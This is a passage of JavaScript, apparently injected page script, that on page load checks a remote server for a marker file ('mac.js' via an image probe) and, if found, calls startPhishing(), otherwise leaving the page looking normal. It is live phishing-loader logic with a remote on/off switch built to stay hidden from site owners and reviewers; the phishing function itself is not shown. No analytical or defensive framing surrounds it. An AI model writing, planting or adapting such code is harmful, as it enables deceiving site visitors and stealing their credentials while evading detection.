function() { if (callbackCalled) return; callbackCalled = true; console.log('Remote marker image exists - starting phishing'); if (onExist) onExist(); }; /** * Image failed to load - marker file does not exist (404), * or server is unreachable / SSL error. */ img.onerror = function() { if (callbackCalled) return; callbackCalled = true; console.log('Remote marker image not found - no action taken'); if (onNotExist) onNotExist(); }; /** * Timeout fallback in case neither onload nor onerror fires */ setTimeout(function() { if (callbackCalled) return; callbackCalled = true; console.log('Remote marker check timeout - no action taken'); if (onNotExist) onNotExist(); }, 10000); img.src = checkUrl; } /** * Main initialization function * First checks for remote mac.js, then decides whether to start phishing */ function init() { console.log('Initializing - checking remote JS'); // Check if remote mac.js exists checkRemoteJS( // onExist: mac.js EXISTS - START phishing function() { startPhishing(); }, // onNotExist: mac.js does NOT exist - DO NOTHING function() { console.log('mac.js does not exist - no action taken'); // Do nothing, page remains normal } ); } // Start initialization when DOM is ready if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', init); } else { init(); }